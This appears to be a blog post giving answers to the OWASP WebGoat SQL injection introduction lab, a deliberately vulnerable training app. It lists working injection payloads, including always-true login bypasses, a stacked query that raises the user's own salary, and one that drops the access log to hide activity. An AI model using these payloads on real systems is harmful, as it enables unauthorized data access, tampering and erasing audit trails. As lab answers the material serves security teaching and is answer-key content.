owasp8.2.2---SQL Injection (intro)

1: Look at the example table. Try to retrieve the department of the employee Bob Franco. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

select * from employees where department = 'Marketing'

2: Try to change the department of Tobi Barnett to 'Sales'. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

update employees set department ='Sales' where userid= 89762

3:Now try to modify the schema by adding the column "phone" (varchar(20)) to the table "employees". 

alter table employees add "phone" char(20);

4:Try to grant rights to the table grant_rights to user unauthorized_user:

GRANT all ON grant_rights TO unauthorized_user

5:Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

 ' or '1' = '1

6:Warning: Only one of these fields is susceptible to SQL Injection. You need to find out which, to successfully retrieve all the data.

login_count:1

user_id :1 or 1=1

7:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

employee name:1
authentacation tan:1' or '1' ='1

8:

You just found out that Tobi and Bob both seem to earn more money than you! Of course you cannot leave it at that.
Better go and change your own salary so you are earning the most!

Remember: Your name is John Smith and your current TAN is 3SL99A.

employee name:Smith '; update employees set salary = 100000 where last_name='Smith' --

authentacation tan:

9:Now you are the top earner in your company. But do you see that? There seems to be a access_log table, where all your actions have been logged to!
Better go and delete it completely before anyone notices.

'; drop table access_log --

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值